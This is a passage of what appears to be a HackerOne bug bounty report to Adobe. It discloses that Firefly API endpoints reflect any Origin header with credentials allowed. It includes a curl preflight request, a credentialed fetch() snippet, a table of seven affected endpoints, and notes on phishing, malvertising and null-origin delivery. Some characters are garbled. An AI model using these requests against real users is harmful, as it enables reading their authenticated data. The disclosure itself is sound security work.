Researcher: lucasfutures (HackerOne) • Program: Adobe BBP • Date: 2026-04-15 • Test origin:
Origin
header as Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true.
Any web page on any origin can make authenticated cross-origin requests to Firefly AI APIs using a
victim's logged-in credentials and read the full response.
The JavaScript below fetches 7 Firefly AI endpoints cross-origin. Each crossOriginReadSucceeded: true
row means the browser allowed this attacker-origin page to read the response โ which is only possible if
Adobe's server explicitly returns permissive CORS headers.
stock.adobe.com, firefly.adobe.com, or any other Adobe site that uses Firefly backends (IMS session cookie in their browser)) via phishing or malvertisingfetch('https://firefly.adobe.io/...', {credentials:'include'})Access-Control-Allow-Origin: <attacker origin> + Allow-Credentials: true$ curl -sI -X OPTIONS 'https://firefly.adobe.io/v2/images/generate' \
-H 'Origin: https://lucas-hackerone.com' \
-H 'Access-Control-Request-Method: POST'
HTTP/2 200
access-control-allow-origin: https://lucas-hackerone.com
access-control-allow-credentials: true
access-control-allow-methods: GET,HEAD,OPTIONS
access-control-allow-headers: x-api-key,authorization,content-type
access-control-max-age: 86400
access-control-expose-headers: *
| Host | Path | CORS reflected? |
|---|---|---|
| firefly.adobe.io | /v2/images/generate | โ Yes |
| firefly.adobe.io | /v2/images/fill | โ Yes |
| firefly.adobe.io | /v2/storage/image | โ Yes |
| firefly.adobe.io | /spl | โ Yes |
| firefly-clio-imaging.adobe.io | /v2/images/generate | โ Yes |
| firefly-st.adobe.io | /spl | โ Yes |
| firefly-ae.adobe.io | /spl | โ Yes |
Origin: null is also reflected โ exploit still works from sandbox'd ads